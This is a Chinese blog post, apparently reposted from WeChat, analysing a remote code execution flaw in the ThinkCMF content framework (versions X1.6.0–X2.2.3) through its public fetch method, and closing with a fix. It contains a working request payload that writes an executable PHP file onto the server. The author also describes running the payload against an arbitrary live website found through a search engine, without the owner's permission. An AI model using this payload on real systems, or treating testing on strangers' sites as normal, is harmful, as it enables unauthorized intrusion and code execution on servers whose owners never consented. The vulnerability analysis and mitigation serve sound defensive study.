ThinkCMF框架任意内容包含漏洞的分析与复现
2019-11-01 12:59:46 Author: mp.weixin.qq.com(查看原文) 阅读量:7 收藏

感谢隔壁大表哥“南方有梦”投稿,文尾见真知。

0x00简介

ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。

0x01影响版本

ThinkCMF X1.6.0

ThinkCMF X2.1.0

ThinkCMF X2.2.0

ThinkCMF X2.2.1

ThinkCMF X2.2.2

ThinkCMF X2.2.3

0x02漏洞危害

远程攻击者在无需任何权限情况下,通过构造特定的请求包即可在远程服务器上执行任意代码。

0x03漏洞分析

下载一份ThinkCMF的源码[我这里用的是(2.2.3)],打开程序的项目路径,如下显示项目路径在application目录下

//开启调试模式

define("APP_DEBUG", true);

//网站当前路径

define('SITE_PATH', dirname(__FILE__)."/");

//项目路径,不可更改

define('APP_PATH', SITE_PATH . 'application/');

//项目相对路径,不可更改

define('SPAPP_PATH',  SITE_PATH.'simplewind/');

//

define('SPAPP',  './application/');

//项目资源目录,不可更改

define('SPSTATIC',  SITE_PATH.'statics/');

//定义缓存存放路径

define("RUNTIME_PATH", SITE_PATH ."data/runtime/");

//静态缓存目录

define("HTML_PATH", SITE_PATH ."data/runtime/Html/");

打开\ThinkCMFX\application\Portal\Controller\IndexController.class.php

,发现display方法,继续追踪HomebaseController

追踪HomebaseController,定位到display方法,display函数的作用是加载模板和页面输出,templateFile为模板文件地址,charset为模板字符集,contentType为输出类型,content为输出内容。另外存在public权限的函数还有fetch,fetch函数的作用是获取页面内容,templateFile为模板文件,content为输出内容,prefix为模板缓存前缀。

目录:\ThinkCMFX\application\Common\Controller\HomebaseController.class.php

0x04漏洞利用

通过构造a参数的fetch方法,可以不需要知道文件路径就可以把php代码写入文件
payload

?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo();?>')</php>

这里我就随便找了个站来测试,事先在某fa搜索的

执行我们的payload以后,页面是空白的

 

我们访问test.php文件

可以看到我们的phpinfo();是被执行了并且创建了一个名为test.php的文件

0x05防御

将HomebaseController.class.php和AdminbaseController.class.php类中display和fetch函数的修饰符改为protected。

详细请参考:

https://www.freebuf.com/vuls/217586.html

https://mp.weixin.qq.com/s/P3KZ9zXvb94IDFf07A9ItA

我是著名的小菜鸡,一块钱四个。欢迎大佬们加我多多交流


文章来源: http://mp.weixin.qq.com/s?__biz=MzU0MDcyNDI3MQ==&mid=2247483876&idx=1&sn=eaeb6a6de0458cebc9c77525c40664e5&chksm=fb359ca4cc4215b2623e54763a503ad629b09e86c43573bb40f387fc91f2e56a55010bda4acf&mpshare=1&scene=24&srcid=1101iVSEsAfBZMgQvaEYeYys&sharer_sharetime=1572584386185&sharer_shareid=5191b3dcb328f693d5261ba6bca8d267#rd
如有侵权请联系:admin#unsafe.sh